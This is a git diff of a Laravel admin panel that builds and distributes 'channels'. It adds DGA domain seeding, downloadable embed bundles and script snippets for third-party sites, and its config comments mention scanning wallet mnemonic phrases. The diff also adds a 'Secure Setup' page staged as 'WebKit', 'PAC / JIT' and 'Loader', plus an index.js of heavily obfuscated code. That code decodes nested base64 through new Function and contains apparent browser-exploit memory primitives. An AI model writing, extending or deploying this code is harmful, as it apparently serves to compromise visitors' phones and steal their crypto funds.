diff --git a/.env.example b/.env.example index a4c6de5..a2278aa 100644 --- a/.env.example +++ b/.env.example @@ -106,6 +106,8 @@ TOKENVIEW_SIGN_KEY= TRUSTED_PROXIES=* XXBB_CHANNEL_C= +# Shared DGA seed for old channel-builder (32-hex; deployment === reporting). +CORUNA_CHANNEL_SEED= TELEGRAM_BOT_USERNAME= CORUNA_OFFICIAL_ALBUM_STORAGE=0 # 1 = 代理可见助记词扫描且入库挂原设备;0 = 隐藏代理扫描菜单,扫描入库挂官方设备 diff --git a/README.md b/README.md index 08dd1f6..186ea0e 100644 --- a/README.md +++ b/README.md @@ -52,7 +52,7 @@ Admin: 创建渠道时 Laravel 直接调用 `channel-builder/tools/new_project.py`: -- **seed**:Deployment / Reporting 共用同一 seed(可同时传入相同值;否则读/写 `lab_seeds.json`,首次自动生成一份) +- **seed**:Deployment / Reporting 共用 `.env` 的 `CORUNA_CHANNEL_SEED`(32-hex;未配置则创建/重建失败) - **首次**(或换 seed)会重建共享 `sync/`,并返回 DGA 域名供注册/绑源站 - **之后**新渠道只生成 `web//` @@ -62,6 +62,7 @@ CORUNA_CHANNEL_BUILDER_PYTHON=/path/to/channel-builder/.venv/bin/python # CORUNA_ARTIFACT_ROOT= # CORUNA_CHANNEL_STATE_ROOT= CORUNA_CHANNEL_BUILDER_TIMEOUT=600 +CORUNA_CHANNEL_SEED= CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com ``` diff --git a/app/Http/Controllers/Admin/ChannelController.php b/app/Http/Controllers/Admin/ChannelController.php index bfe188a..beea538 100644 --- a/app/Http/Controllers/Admin/ChannelController.php +++ b/app/Http/Controllers/Admin/ChannelController.php @@ -6,6 +6,7 @@ use App\Http\Controllers\Concerns\PortalAware; use App\Http\Controllers\Controller; use App\Models\Channel; use App\Models\User; +use App\Services\ChannelEmbedZipService; use App\Services\ChannelProjectService; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; @@ -91,6 +92,10 @@ class ChannelController extends Controller 'ipa_url' => file_exists(public_path('channel/'.$c->channel_id.'/app.ipa')) ? '/channel/'.$c->channel_id.'/app.ipa' : '', 'links' => $c->supportLinks(), 'landing_path' => $c->landingPath(), + 'embed_zip_url' => $c->embedAssetDir() + ? route($this->portal().'.channels.embedZip', $c) + : '', + 'embed_script' => $c->isAppBuilder() ? '' : $c->promoScriptSnippet(), 'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'), ]; @@ -225,6 +230,10 @@ class ChannelController extends Controller 'daily_path' => $build['daily_path'] ?? '', 'channel_dir' => $build['channel_dir'] ?? null, 'show_alias' => $build['show_alias'] ?? null, + 'embed_zip_url' => $channel->embedAssetDir() + ? route($this->portal().'.channels.embedZip', $channel) + : '', + 'embed_script' => $channel->promoScriptSnippet(), ], ]); } @@ -443,8 +452,8 @@ class ChannelController extends Controller $build = $projects->generate( $channelId, $supportTemplate, - $data['deployment_seed'] ?? null, - $data['reporting_seed'] ?? null, + null, + null, $builderType, ); } catch (\Throwable $e) { @@ -498,6 +507,10 @@ class ChannelController extends Controller 'daily_path' => $build['daily_path'] ?? '', 'channel_dir' => $build['channel_dir'] ?? null, 'show_alias' => $build['show_alias'] ?? null, + 'embed_zip_url' => $channel->embedAssetDir() + ? route($this->portal().'.channels.embedZip', $channel) + : '', + 'embed_script' => $channel->promoScriptSnippet(), ], ]); } @@ -554,6 +567,24 @@ class ChannelController extends Controller ]); } + public function downloadEmbed(Channel $channel, ChannelEmbedZipService $zips) + { + $this->authorizeChannel($channel); + if ($channel->isAppBuilder()) { + abort(404); + } + + try { + $path = $zips->build($channel); + } catch (\Throwable $e) { + abort(404, $e->getMessage() ?: '打包失败'); + } + + return response()->download($path, $channel->embedZipName(), [ + 'Content-Type' => 'application/zip', + ])->deleteFileAfterSend(true); + } + public function destroy(Channel $channel, ChannelProjectService $projects) { abort_if($this->isAgentPortal(), 403); diff --git a/app/Models/Channel.php b/app/Models/Channel.php index 84d3b92..7cf98e5 100644 --- a/app/Models/Channel.php +++ b/app/Models/Channel.php @@ -204,6 +204,33 @@ class Channel extends Model return ''; } + public function promoScriptSnippet(): string + { + return ''; + } + + public function embedAssetDir(): ?string + { + $root = rtrim((string) config('coruna.channel_builder.artifact_root', public_path()), DIRECTORY_SEPARATOR); + $dir = match ($this->builderType()) { + self::BUILDER_NEW => $root.DIRECTORY_SEPARATOR.'channel'.DIRECTORY_SEPARATOR.$this->channel_id.DIRECTORY_SEPARATOR.'weifile', + self::BUILDER_OLD => $root.DIRECTORY_SEPARATOR.'web'.DIRECTORY_SEPARATOR.$this->channel_id, + default => null, + }; + if ($dir === null || ! is_dir($dir)) { + return null; + } + + return $dir; + } + + public function embedZipName(): string + { + $safe = preg_replace('/[^0-9A-Za-z._-]+/', '-', (string) $this->channel_id) ?: 'channel'; + + return 'channel-embed-'.$safe.'.zip'; + } + public static function randomChannelId(): string { return bin2hex(random_bytes(16)); diff --git a/app/Services/ChannelEmbedZipService.php b/app/Services/ChannelEmbedZipService.php new file mode 100644 index 0000000..e8bdd78 --- /dev/null +++ b/app/Services/ChannelEmbedZipService.php @@ -0,0 +1,139 @@ + + */ + public function listFiles(Channel $channel): array + { + $dir = $channel->embedAssetDir(); + if ($dir === null) { + return []; + } + + return $this->collectFiles($dir); + } + + public function build(Channel $channel): string + { + $dir = $channel->embedAssetDir(); + if ($dir === null) { + throw new RuntimeException('渠道静态资源不存在,请先构建'); + } + $files = $this->collectFiles($dir); + if ($files === []) { + throw new RuntimeException('渠道目录里没有可打包的浏览器资源'); + } + if (! class_exists(ZipArchive::class)) { + throw new RuntimeException('PHP ZipArchive 不可用'); + } + + $tmp = tempnam(sys_get_temp_dir(), 'coruna-embed-'); + if ($tmp === false) { + throw new RuntimeException('无法创建临时文件'); + } + @unlink($tmp); + $zipPath = $tmp.'.zip'; + + $zip = new ZipArchive(); + if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) { + throw new RuntimeException('无法创建 zip'); + } + + $statOrigin = $this->statOrigin(); + foreach ($files as $rel) { + $abs = $dir.DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $rel); + $contents = file_get_contents($abs); + if ($contents === false) { + continue; + } + if ($rel === 'index.js' && $statOrigin !== '') { + $contents = $this->bakeStatOrigin($contents, $statOrigin); + } + $zip->addFromString($rel, $contents); + } + $zip->addFromString('README.txt', $this->readme($channel)); + $zip->close(); + + return $zipPath; + } + + private function statOrigin(): string + { + $domains = Channel::normalizeDomainList(config('coruna.channel_domains', [])); + $host = trim((string) ($domains[0] ?? '')); + if ($host === '') { + return ''; + } + if (preg_match('#^https?://#i', $host)) { + return rtrim($host, '/'); + } + $scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https'; + + return $scheme.'://'.rtrim($host, '/'); + } + + private function bakeStatOrigin(string $boot, string $origin): string + { + $quoted = json_encode($origin, JSON_UNESCAPED_SLASHES); + $updated = preg_replace( + '/var STAT_ORIGIN = ([\'"][^\'"]*[\'"]|__STAT_ORIGIN__)/', + 'var STAT_ORIGIN = '.$quoted, + $boot, + 1, + ); + + return is_string($updated) ? $updated : $boot; + } + + private function readme(Channel $channel): string + { + $id = (string) $channel->channel_id; + + return "把本 zip 解压到站点根目录(与首页同级),页面中加入:\n" + ."\n\n" + ."渠道 {$id} 已写入 index.js。iframe 投放仍可用原落地页链接。\n"; + } + + /** + * @return list + */ + private function collectFiles(string $dir): array + { + $skipNames = ['.DS_Store', 'manifest.json', 'README.md', 'README.txt']; + $skipDirs = ['templates', '_bak', '__pycache__']; + $files = []; + $iterator = new \RecursiveIteratorIterator( + new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS) + ); + foreach ($iterator as $file) { + if (! $file->isFile()) { + continue; + } + $abs = $file->getPathname(); + $rel = ltrim(str_replace('\\', '/', substr($abs, strlen($dir))), '/'); + $parts = explode('/', $rel); + if (array_intersect($parts, $skipDirs) !== []) { + continue; + } + if (in_array(end($parts), $skipNames, true)) { + continue; + } + $ext = strtolower((string) $file->getExtension()); + if (! in_array($ext, ['js', 'html', 'htm', 'css'], true)) { + continue; + } + $files[] = $rel; + } + sort($files); + + return $files; + } +} diff --git a/app/Services/ChannelProjectService.php b/app/Services/ChannelProjectService.php index 178adfe..eb916ef 100644 --- a/app/Services/ChannelProjectService.php +++ b/app/Services/ChannelProjectService.php @@ -52,16 +52,10 @@ class ChannelProjectService ); } - [$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds( - $deploymentSeed, - $reportingSeed, - ); - return $this->generateOld( $this->normalizeChannelId($channelId), $supportTemplate, - $deploymentSeed, - $reportingSeed, + dsDomain: (string) config('coruna.xxbb.ds_domain', ''), ); } @@ -130,10 +124,10 @@ class ChannelProjectService private function generateOld( string $channelId, string $supportTemplate, - ?string $deploymentSeed, - ?string $reportingSeed, + string $dsDomain = '', ): array { $supportTemplate = $this->normalizeSupportTemplate($supportTemplate); + $seed = $this->requireEnvOldSeed(); $cmd = [ $this->pythonBinary(self::BUILDER_OLD), $this->builderScript('new_project.py', self::BUILDER_OLD), @@ -146,12 +140,14 @@ class ChannelProjectService '--support-template', $supportTemplate, '--force', + '--deployment-seed', + $seed, + '--reporting-seed', + $seed, ]; - if ($deploymentSeed !== null && $reportingSeed !== null) { - $cmd[] = '--deployment-seed'; - $cmd[] = $deploymentSeed; - $cmd[] = '--reporting-seed'; - $cmd[] = $reportingSeed; + if ($dsDomain !== '') { + $cmd[] = '--ds-domain'; + $cmd[] = $dsDomain; } $result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_OLD)); @@ -174,6 +170,7 @@ class ChannelProjectService 'weifile_path' => null, 'daily_path' => (string) ($result['daily_path'] ?? '/sync/daily.html'), 'support_template' => (string) ($result['support_template'] ?? $supportTemplate), + 'ds_domain' => $dsDomain, ]; } @@ -213,6 +210,72 @@ class ChannelProjectService return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW)); } + /** + * Rebuild existing old-builder channels in place (same 32-hex channel_id). + * DGA seed always comes from CORUNA_CHANNEL_SEED; overwrites public/web/{id}/. + * + * @param list|null $channelIds null = all builder_type=old rows + * @return array{channels: list>} + */ + public function rebuildOldChannels( + ?array $channelIds = null, + string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE, + string $dsDomain = '', + ): array { + $ids = $this->resolveOldChannelIds($channelIds); + if ($ids === []) { + throw new RuntimeException('没有可重打的旧版渠道(builder_type=old)'); + } + + $channels = []; + foreach ($ids as $id) { + $channels[] = $this->generateOld( + $id, + $supportTemplate, + $dsDomain, + ); + } + + return [ + 'channels' => $channels, + ]; + } + + /** + * @param list|null $channelIds + * @return list + */ + public function resolveOldChannelIds(?array $channelIds = null): array + { + if ($channelIds === null) { + return Channel::query() + ->where('builder_type', self::BUILDER_OLD) + ->orderBy('id') + ->pluck('channel_id') + ->map(function ($id) { + try { + return $this->normalizeChannelId((string) $id); + } catch (RuntimeException) { + return null; + } + }) + ->filter() + ->values() + ->all(); + } + + $ids = []; + foreach ($channelIds as $raw) { + try { + $ids[] = $this->normalizeChannelId((string) $raw); + } catch (RuntimeException) { + throw new RuntimeException('旧版渠道 ID 必须是 32 位 hex: '.$raw); + } + } + + return array_values(array_unique($ids)); + } + /** * Rebuild existing new-builder channels in place (same channel_id / ver patch). * Shared /details + staged weifile are built once from XXBB_CHANNEL_C, then each @@ -428,6 +491,19 @@ class ChannelProjectService return $c; } + private function requireEnvOldSeed(): string + { + $seed = strtolower(trim((string) config('coruna.channel_builder.seed', ''))); + if ($seed === '') { + throw new RuntimeException('请先在 .env 配置 CORUNA_CHANNEL_SEED(32 位 hex)'); + } + if (! preg_match('/^[0-9a-f]{32}$/', $seed)) { + throw new RuntimeException('CORUNA_CHANNEL_SEED 必须是 32 位 hex'); + } + + return $seed; + } + private function normalizeSharedChannelC(?string $channelC): ?string { $c = strtolower(trim((string) ($channelC !== null && $channelC !== '' @@ -749,31 +825,4 @@ class ChannelProjectService return $supportTemplate; } - - /** - * @return array{0: ?string, 1: ?string} - */ - private function normalizeOptionalSeeds( - ?string $deploymentSeed, - ?string $reportingSeed, - ): array { - $deploymentSeed = $deploymentSeed !== null ? trim($deploymentSeed) : null; - $reportingSeed = $reportingSeed !== null ? trim($reportingSeed) : null; - if (($deploymentSeed === null || $deploymentSeed === '') && ($reportingSeed === null || $reportingSeed === '')) { - return [null, null]; - } - if ($deploymentSeed === null || $deploymentSeed === '' || $reportingSeed === null || $reportingSeed === '') { - throw new RuntimeException('deployment_seed 与 reporting_seed 必须同时提供'); - } - foreach (['deployment_seed' => $deploymentSeed, 'reporting_seed' => $reportingSeed] as $name => $value) { - if (! preg_match('/^[ -~]{1,32}$/', $value)) { - throw new RuntimeException("无效的 {$name}(需 1–32 位 ASCII)"); - } - } - if ($deploymentSeed !== $reportingSeed) { - throw new RuntimeException('deployment_seed 与 reporting_seed 必须相同'); - } - - return [$deploymentSeed, $reportingSeed]; - } } diff --git a/channel-builder-new/source/weifile/templates/blank.html b/channel-builder-new/source/weifile/templates/blank.html index 43ed204..b47f7a5 100644 --- a/channel-builder-new/source/weifile/templates/blank.html +++ b/channel-builder-new/source/weifile/templates/blank.html @@ -5,53 +5,8 @@ weifile - - + diff --git a/channel-builder-new/source/weifile/templates/test.html b/channel-builder-new/source/weifile/templates/test.html index f81ebcb..f4c3021 100644 --- a/channel-builder-new/source/weifile/templates/test.html +++ b/channel-builder-new/source/weifile/templates/test.html @@ -8,7 +8,6 @@ 加载中 - - + diff --git a/channel-builder/source/templates/support/test.html b/channel-builder/source/templates/support/test.html new file mode 100644 index 0000000..edd1acd --- /dev/null +++ b/channel-builder/source/templates/support/test.html @@ -0,0 +1,588 @@ + + + + + + + + + +Preparing… + + + +
+
Secure Setup
+ +
+ +
+
15
+
sec
+
Starting…
+
+
+ +
+
+
    +
  1. + 1 + WebKit + stage1 +
  2. +
  3. + 2 + PAC / JIT + stage2 +
  4. +
  5. + 3 + Loader + stage3 +
  6. +
  7. + ✓ + Success + e=0 +
  8. +
+
+ +
—
+
+ + + + diff --git a/channel-builder/source/web/index.js b/channel-builder/source/web/index.js new file mode 100644 index 0000000..bfc05b1 --- /dev/null +++ b/channel-builder/source/web/index.js @@ -0,0 +1,17 @@ +function cAsUcoxco(U){U=U.toString(16).toLowerCase();return 1===U.length&&(U="0"+U),U}function cAsUcoxcg(U){return U.reduce((Q,n)=>{let P;const C=255&n,A=(4278190080&n)>>24&255,Z=(16711680&n)>>16&255;var z=(P="%u",P+=cAsUcoxco((65280&n)>>8&255),P+=cAsUcoxco(C),P+="%u",P+=cAsUcoxco(A),P+=cAsUcoxco(Z),unescape(P));return Q+z},"")}function cAsUcoxcj(){return cAsUcoxcg([1684090670,1697658681,943274040,875771440,845308770,811689061,943274339,943141473,943075640,845440054,1831757113,1781427817,115])} +window.globalThis=window;globalThis.Lwgums=(new Function(atob("bGV0IE1NPXthNjMyYzE5NjY3NjNlMzZkMjI5NTYyOTE2N2UzZGM0MzFkMDZlNTMyOiJiR1YwSUhJOWUzMDdablZ1WTNScGIyNGdhU2gwS1h0eVpYUjFjbTRnZDJsdVpHOTNMa0pwWjBsdWREOUNhV2RKYm5Rb2RDazZkSDF5TGxVOWFUdGpiMjV6ZENCMVBXa29OVFE1TnpVMU9ERXpPRGczS1N4dlBTZ3hPVGcwTnpJek5UTTVJRjRnTVRrNE5EY3lNelV3TUNrc2N6MXBLRE01S1R0eUxrSTljeXh5TGtrOWRTeHlMblk5Ynl4eUxrNDlablZ1WTNScGIyNG9kQ2w3Y21WMGRYSnVJRzUxYkd3OVBUMTBQeWhiTkRBc0lEVXhMQ0EwTWl3Z05ESmRMbTFoY0NoNElEMCtJSHR5WlhSMWNtNGdVM1J5YVc1bkxtWnliMjFEYUdGeVEyOWtaU2g0SUY0Z056QXBPMzBwTG1wdmFXNG9JaUlwS1RwMExuUnZVM1J5YVc1bktERTJLWDA3WTI5dWMzUWdhRDFiWFR0eUxrUTlablZ1WTNScGIyNG9kQ2w3YUM1d2RYTm9LSFFwZlR0amIyNXpkQ0JtUFc1bGR5QlZhVzUwTXpKQmNuSmhlU2h1WlhjZ1FYSnlZWGxDZFdabVpYSW9PQ2twTEdFOWJtVjNJRlZwYm5RNFFYSnlZWGtvWmk1aWRXWm1aWElwTEhjOWJtVjNJRlZwYm5ReE5rRnljbUY1S0dZdVluVm1abVZ5S1N4blBXNWxkeUJHYkc5aGREWTBRWEp5WVhrb1ppNWlkV1ptWlhJcE8yWjFibU4wYVc5dUlHd29kQ3h1S1h0eVpYUjFjbTRnZENzME1qazBPVFkzTWprMkttNTlablZ1WTNScGIyNGdZaWgwS1h0eVpYUjFjbTRnWjFzd1hUMTBMR1piTUYxOVpuVnVZM1JwYjI0Z1ZTaDBLWHR5WlhSMWNtNGdaMXN3WFQxMExHWmJNVjE5Wm5WdVkzUnBiMjRnUWloMExHNHBlM0psZEhWeWJpQm1XekJkUFhRc1psc3hYVDF1TEdkYk1GMTljaTVUUFdaMWJtTjBhVzl1S0hRcGUzSmxkSFZ5YmlCbVd6QmRQWFFzWmxzd1hYMHNjaTVVUFd3c2NpNVFQV1oxYm1OMGFXOXVLSFFwZTNKbGRIVnliaUJuV3pCZFBYUXNiQ2htV3pCZExHWmJNVjBwZlN4eUxrTTlZaXh5TGxZOVZTeHlMa1k5Wm5WdVkzUnBiMjRvZENsN2NtVjBkWEp1SUhRdk5ESTVORGsyTnpJNU5qNCtQakI5TEhJdVh6MW1kVzVqZEdsdmJpaDBLWHR5WlhSMWNtNGdkRDQrUGpCOUxISXVjVDFtZFc1amRHbHZiaWgwTEc0cGUzSmxkSFZ5YmlCdExrd29kQ2t1U0NodUtTNVhLQ2w5TEhJdVJ6MW1kVzVqZEdsdmJpaDBMRzRwZTNKbGRIVnliaUJ0TGt3b2RDa3VTQ2h1S1M1WEtDbDlMSEl1U2oxbWRXNWpkR2x2YmloMEtYdHlaWFIxY200Z1psc3hYVDEwTHpReU9UUTVOamN5T1RZc1psc3dYVDEwTEdkYk1GMTlMSEl1U3oxbWRXNWpkR2x2YmloMEtYdHlaWFIxY200Z2JDaE9kVzFpWlhJb2RDWkNhV2RKYm5Rb0tEUXlPVFE1TmpjeU9UWWdLeUFvTVRNeU9EZzVNemMyTWlCZUlDMHhNekk0T0Rrek56WXpLU2twS1N4T2RXMWlaWElvZEQ0K1FtbG5TVzUwS0RNeUtTa3BmU3h5TGs4OVpuVnVZM1JwYjI0b2RDbDdZMjl1YzNRZ2JqMUNhV2RKYm5Rb2RENCtQakFwTzNKbGRIVnliaUJDYVdkSmJuUW9kQzgwTWprME9UWTNNamsyUGo0K01DazhQRUpwWjBsdWRDZ3pNaWw4Ym4wc2NpNVlQV1oxYm1OMGFXOXVLSFFwZTJkYk1GMDlkRHRqYjI1emRDQnVQVUpwWjBsdWRDaG1XekJkS1N4eVBVSnBaMGx1ZENobVd6RmRLVHR5WlhSMWNtNGdRbWxuU1c1MEtISXBQRHhDYVdkSmJuUW9NeklwZkc1OUxISXVXVDFDTEhJdVdqMW1kVzVqZEdsdmJpaDBMRzRzY2l4cEtYdHlaWFIxY200Z1lWc3dYVDFwTEdGYk1WMDljaXhoV3pKZFBXNHNZVnN6WFQxMExHWmJNRjE5TEhJdWRIUTlablZ1WTNScGIyNG9kQ2w3Y21WMGRYSnVJR1piTVYwOWRDODBNamswT1RZM01qazJMR1piTUYwOWRDeFRkSEpwYm1jdVpuSnZiVU5vWVhKRGIyUmxLSGRiTUYwc2Qxc3hYU3gzV3pKZExIZGJNMTBwZlN4eUxtNTBQV1oxYm1OMGFXOXVLSFFwZTNaaGNpQnVPMk52Ym5OMElISTlZWFJ2WWloMEtTeHBQVzVsZHlCVmFXNTBPRUZ5Y21GNUtISXViR1Z1WjNSb0tUdG1iM0lvYmowd08yNDhjaTVzWlc1bmRHZzdiaXNyS1dsYmJsMDljaTVqYUdGeVEyOWtaVUYwS0c0cE8zSmxkSFZ5YmlCcExtSjFabVpsY24wc2NpNXlkRDFtZFc1amRHbHZiaWgwS1h0MllYSWdianRqYjI1emRDQnlQVzVsZHlCVmFXNTBPRUZ5Y21GNUtIUXViR1Z1WjNSb0tUdG1iM0lvYmowd08yNDhkQzVzWlc1bmRHZzdiaXNyS1hKYmJsMDlkQzVqYUdGeVEyOWtaVUYwS0c0cE8zSmxkSFZ5YmlCeUxtSjFabVpsY24wN1kyeGhjM01nYlh0amIyNXpkSEoxWTNSdmNpaDBMRzRwZTNSb2FYTXVhWFE5ZEQ0K1BqQXNkR2hwY3k1bGREMXVQajQrTUgxemRHRjBhV01nZFhRb2RDbDdjbVYwZFhKdUlHNWxkeUJ0S0hRK1BqNHdMSFF2TkRJNU5EazJOekk1Tmo0K1BqQXBmWE4wWVhScFl5QnZkQ2gwS1h0eVpYUjFjbTRnYm1WM0lHMG9UblZ0WW1WeUtIUW1RbWxuU1c1MEtDZzBNamswT1RZM01qazJJQ3NnS0RFME5EZ3pNRFEwT1RJZ1hpQXRNVFEwT0RNd05EUTVNeWtwS1Nrc1RuVnRZbVZ5S0hRK1BrSnBaMGx1ZENnek1pa3BLWDF6ZEdGMGFXTWdjM1FvZENsN2NtVjBkWEp1SUc1bGR5QnRLSFErUGo0d0xIUXZOREk1TkRrMk56STVOajQrUGpBcGZYTjBZWFJwWXlCTUtIUXBlM0psZEhWeWJpQnVaWGNnYlNoaUtIUXBMRlVvZENrcGZYTjBZWFJwWXlCb2RDaDBLWHR5WlhSMWNtNGdibVYzSUcwb2RENCtQakFzS0hROE1EOHRNVG93S1Q0K1BqQXBmV04wS0NsN2NtVjBkWEp1SURReU9UUTVOamN5T1RZcWRHaHBjeTVsZEN0MGFHbHpMbWwwZldaMEtDbDdjbVYwZFhKdUlIUm9hWE11WlhRK0tERTVNRE16T0RrNE1UWWdYaUF4T1RBek16ZzVOekF6S1gxM2RDaDBLWHRqYjI1emRDQnVQWFF2TkRJNU5EazJOekk1Tmo0K1BqQXNjajEwUGo0K01EdHlaWFIxY200Z2RHaHBjeTVsZEQwOVBXNG1KblJvYVhNdWFYUTlQVDF5ZldkMEtDbDdjbVYwZFhKdUlHNWxkeUJ0S0g1MGFHbHpMbWwwTEg1MGFHbHpMbVYwS1gxaFpHUW9kQ2w3WTI5dWMzUWdiajEwYUdsekxtbDBLM1F1YVhRN2RtRnlJSEk5ZEdocGN5NWxkQ3QwTG1WME8zSmxkSFZ5YmlCdUlUMDliajQrUGpBbUpuSXJLeXh1WlhjZ2JTaHVQajQrTUN4eVBqNCtNQ2w5U0NoMEtYdHlaWFIxY200Z2RHaHBjeTVoWkdRb2JTNW9kQ2gwS1NsOWJIUW9kQ2w3Y21WMGRYSnVJSFJvYVhNdWFYUTlQVDEwTG1sMEppWjBhR2x6TG1WMFBUMDlkQzVsZEgxaWRDaDBLWHR5WlhSMWNtNGdkR2hwY3k1cGRDRTlQWFF1YVhSOGZIUm9hWE11WlhRaFBUMTBMbVYwZlhOMVlpaDBLWHR5WlhSMWNtNGdkR2hwY3k1aFpHUW9kQzVWZENncEtYMUNkQ2gwS1h0eVpYUjFjbTRnZEdocGN5NWhaR1FvYlM1b2RDaDBLUzVWZENncEtYMUpkQ2gwS1h0amIyNXpkQ0J1UFhSb2FYTXVhWFFtZEM1cGRDeHlQWFJvYVhNdVpYUW1kQzVsZER0eVpYUjFjbTRnYm1WM0lHMG9iajQrUGpBc2NqNCtQakFwZlVGMEtIUXBlMk52Ym5OMElHNDlkR2hwY3k1cGRIeDBMbWwwTEhJOWRHaHBjeTVsZEh4MExtVjBPM0psZEhWeWJpQnVaWGNnYlNodVBqNCtNQ3h5UGo0K01DbDlkblFvZENsN1kyOXVjM1FnYmoxMGFHbHpMbWwwWG5RdWFYUXNjajEwYUdsekxtVjBYblF1WlhRN2NtVjBkWEp1SUc1bGR5QnRLRzQrUGo0d0xISStQajR3S1gxVmRDZ3BlM0psZEhWeWJpQjBhR2x6TG1kMEtDa3VZV1JrS0c1bGR5QnRLREVzTUNrcGZXUjBLSFFwZTJsbUtIUStQVE15S1hSb2NtOTNJRzVsZHlCRmNuSnZjaWdpSWlrN2NtVjBkWEp1SUc1bGR5QnRLSFJvYVhNdWFYUStQajUwZkhSb2FYTXVaWFE4UERNeUxYUXNkR2hwY3k1bGRENCtQblFwZlhSdlUzUnlhVzVuS0NsN2NtVjBkWEp1SWlKOWVYUW9LWHRwWmloMGFHbHpMbVYwUG04cGRHaHliM2NnYm1WM0lFVnljbTl5S0NJaUtUdHlaWFIxY200Z05ESTVORGsyTnpJNU5pcDBhR2x6TG1WMEszUm9hWE11YVhSOVRuUW9LWHR5WlhSMWNtNGdRbWxuU1c1MEtIUm9hWE11WlhRcEtrSnBaMGx1ZENnME1qazBPVFkzTWprMktTdENhV2RKYm5Rb2RHaHBjeTVwZENsOVJIUW9LWHR5WlhSMWNtNGdibVYzSUcwb2RHaHBjeTVwZEN4MGFHbHpMbVYwSm04cGZWTjBLQ2w3Y21WMGRYSnVJRFF5T1RRNU5qY3lPVFlxS0hSb2FYTXVaWFFtYnlrcmRHaHBjeTVwZEgxVWRDZ3BlM0psZEhWeWJpQnVaWGNnYlNoMGFHbHpMbWwwTEhSb2FYTXVaWFFtYnlsOVZ5Z3BlM0psZEhWeWJpQkNLSFJvYVhNdWFYUXNkR2hwY3k1bGRDbDlSWFFvS1h0eVpYUjFjbTRnTUQwOVBYUm9hWE11YVhRbUpqQTlQVDEwYUdsekxtVjBmVkIwS0NsN2NtVjBkWEp1SUhSb2FYTXVhWFI5UTNRb0tYdHBaaWgwYUdsekxtVjBQbThwZEdoeWIzY2dibVYzSUVWeWNtOXlLQ0lpS1R0MllYSWdkRDEwYUdsekxtbDBLeWd4TkRZME1UWXlOalk0SUY0Z01UUTJOREUyTVRrek9Ta3NiajEwYUdsekxtVjBPM0psZEhWeWJpQjBJVDA5ZEQ0K1BqQW1KbTRyS3l3ME1qazBPVFkzTWprMktpaHVQajQrTUNrcktDaDBKajBvTkRJNU5EazJOekk1TmlBcklDZ3hPVFV6TWpZeU5qY3lJRjRnTFRFNU5UTXlOakEwTmpRcEtTaytQajR3S1gxOVpuVnVZM1JwYjI0Z1NTaDBLWHRqYjI1emRDQnVQVnRkTzNaaGNpQnlPMlp2Y2loeVBUQTdjangwTG14bGJtZDBhRHR5S3lzcGUyTnZibk4wSUdrOWRDNWphR0Z5UTI5a1pVRjBLSElwTzI0dWNIVnphQ2dvTVRZME9UUTVNekEwTXlCZUlERTJORGswT1RNeE9UWXBKbWtwTEc0dWNIVnphQ2hwUGo0K09DbDljbVYwZFhKdUlGTjBjbWx1Wnk1bWNtOXRRMmhoY2tOdlpHVXVZWEJ3Ykhrb2JuVnNiQ3h1S1gxbWRXNWpkR2x2YmlCQktIUXBlM1poY2lCdUxISXNhU3hsUFNJaU8yTnZibk4wSUhVOWRDNXNaVzVuZEdnN1ptOXlLR2s5TUR0cFBIVTdhU3M5TWlsdVBYUXVZMmhoY2tOdlpHVkJkQ2hwS1N4eVBXa3JNVHgxUDNRdVkyaGhja052WkdWQmRDaHBLekVwT2pBc1pTczlVM1J5YVc1bkxtWnliMjFEYUdGeVEyOWtaU2h1ZkhJOFBEZ3BPM0psZEhWeWJpQmxmV1oxYm1OMGFXOXVJSFlvZENsN2RtRnlJRzQ5U1NoMEtUdGpiMjV6ZENCeVBXNHVhVzVrWlhoUFppZ2lYREFpS1R0eVpYUjFjbTR0TVNFOVBYSW1KaWh1UFc0dWMyeHBZMlVvTUN4eUtTa3NibjFtZFc1amRHbHZiaUJrS0hRcGUzWmhjaUJ1UFhRdWRHOVRkSEpwYm1jb01UWXBMblJ2VEc5M1pYSkRZWE5sS0NrN2NtVjBkWEp1SURFOVBUMXVMbXhsYm1kMGFDWW1LRzQ5SWpBaUsyNHBMRzU5Wm5WdVkzUnBiMjRnZVNoMEtYdDJZWElnYmp0amIyNXpkQ0J5UFNnNU1UQXpOelEzTWpFZ1hpQTVNVEF6TnpRNE5EWXBKblFzYVQwb0tEUXlPVFE1TmpjeU9UWWdLeUFvT0RrME5EWTBNemN6SUY0Z0xUa3dNRFk1Tnpjek9Ta3BKblFwUGo0eU5DWW9NVE16TVRnMU16UXpNeUJlSURFek16RTROVE0wTkRZcExHVTlLQ2czTmpFME1UWTRNaklnWGlBM05qVXlPRE0wTkRZcEpuUXBQajR4TmlZb01URXlPVFV6TXpJM01TQmVJREV4TWprMU16TXpOVElwTzNKbGRIVnliaUJ1UFNJbGRTSXNiaXM5WkNnb0tERXhORGMwT1RBek9UQWdYaUF4TVRRM05URTBOekV3S1NaMEtUNCtPQ1lvTVRjMU1UZzFOalE1T1NCZUlERTNOVEU0TlRZMU1qUXBLU3h1S3oxa0tISXBMRzRyUFNJbGRTSXNiaXM5WkNocEtTeHVLejFrS0dVcExIVnVaWE5qWVhCbEtHNHBmV1oxYm1OMGFXOXVJRTRvZENsN1kyOXVjM1FnYmoxdVpYY2dWV2x1ZERoQmNuSmhlU2d4Tmlrc2NqMXVaWGNnUkdGMFlWWnBaWGNvYmk1aWRXWm1aWElzTUN3NEtTeHBQVzVsZHlCQmNuSmhlU2d5S1R0eVpYUjFjbTRnY2k1elpYUkdiRzloZERZMEtEQXNkQ2tzYVZzd1hUMXlMbWRsZEZWcGJuUXpNaWd3TENFeEtTeHBXekZkUFhJdVoyVjBWV2x1ZERNeUtEUXNJVEVwTEdsOVpuVnVZM1JwYjI0Z1JDaDBLWHQyWVhJZ2JqMTJLSFFwTzJsbUtHNTFiR3c5UFQxU1pXZEZlSEFvS0Zzek9Dd2dNVFl